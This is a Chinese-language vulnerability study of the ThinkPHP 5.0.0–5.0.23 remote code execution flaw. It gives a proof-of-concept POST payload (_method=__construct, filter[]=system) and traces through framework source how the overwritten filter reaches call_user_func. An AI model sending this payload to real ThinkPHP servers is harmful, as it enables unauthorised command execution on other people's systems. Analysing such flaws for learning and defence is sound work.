Tp5.0.0-5.0.23 RCE学习
POC
1 2 3 4
| url: http://127.0.0.1:12345/tp5.0_rce/public/index.php ?s=captcha
$_POST: _method=__construct&filter[]=system&method=get&get[]=whoami
|
分析过程
位置
1 2
| 文件:thinkphp/library/think/App.php 方法:run
|
关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php /** * 执行应用程序 * @access public * @param Request $request 请求对象 * @return Response * @throws Exception */ public static function run(Request $request = null) { $request = is_null($request) ? Request::instance() : $request;
try { ... // 获取应用调度信息 $dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测 if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } ...
$data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { ... } ... }
|
首先获取$dispatch
应用调度变量
在tp中,有五种调度类型,具体见
https://www.kancloud.cn/zmwtp/tp5/119428#2__34
这里我们的$dispatch
的值是method
跟到
1 2
| 文件:thinkphp/library/think/Request.php 方法:method
|
关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function method($method = false) { if (true === $method) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }
|
在
1
| 文件:application/config.php
|
将var_method
设置为_method
于是POST参数_method
进入判断
执行语句$this->{$this->method}($_POST);
于是,
因此通过指定_method
即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组
而Request类的构造方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| /** * 构造函数 * @access protected * @param array $options 参数 */ protected function __construct($options = []) { foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); }
// 保存 php://input $this->input = file_get_contents('php://input'); }
|
这里通过forech即可对成员变量filter进行变量覆盖
filter是全局过滤规则
根据我们传入的payload
_method=__construct&filter[]=system&method=get&get[]=whoami
覆盖
1 2 3
| method = 'get' get[0] = whoami filter[0] = system
|
注意我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get。在method方法结束后,返回的$this->method值应为get这样才能不出错,所以payload中有个method=get
路由检测完之后
接着,用exec
函数处理
1 2
| 文件:thinkphp/library/think/App.php 方法:exec
|
关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| /** * 执行调用分发 * @access protected * @param array $dispatch 调用信息 * @param array $config 配置信息 * @return Response|mixed * @throws \InvalidArgumentException */ protected static function exec($dispatch, $config) { switch ($dispatch['type']) { case 'redirect': // 重定向跳转 $data = Response::create($dispatch['url'], 'redirect') ->code($dispatch['status']); break; case 'module': // 模块/控制器/操作 $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; case 'controller': // 执行控制器操作 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break; case 'method': // 回调方法 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break; case 'function': // 闭包 $data = self::invokeFunction($dispatch['function']); break; case 'response': // Response 实例 $data = $dispatch['response']; break; default: throw new \InvalidArgumentException('dispatch type not support'); }
return $data; }
|
由于$dispatch=method
进入
Request::instance()->param()
1 2
| 文件: thinkphp/library/think/Request.php 方法: param()
|
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| /** * 获取当前请求的参数 * @access public * @param string|array $name 变量名 * @param mixed $default 默认值 * @param string|array $filter 过滤方法 * @return mixed */ public function param($name = '', $default = null, $filter = '') { if (empty($this->mergeParam)) { $method = $this->method(true); // 自动获取请求变量 switch ($method) { case 'POST': $vars = $this->post(false); break; ... default: $vars = []; } // 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } ... } return $this->input($this->param, $name, $default, $filter); }
|
获取当前请求的参数
之后进到input
方法,解释过滤器
1 2
| 文件:thinkphp/library/think/Request.php 方法:getFilter
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } }
$filter[] = $default; return $filter; }
|
此时,filter数组
从getFilter出来后
$this->param即数组
进入array_walk_recursive
array_walk_recursive
函数:
对数组中的每个成员递归地应用用户函数
即对data每个成员调用filterValue
1 2
| 文件:thinkphp/library/think/Request.php 方法:filterValue
|
看到,调用了call_user_func
造成命令执行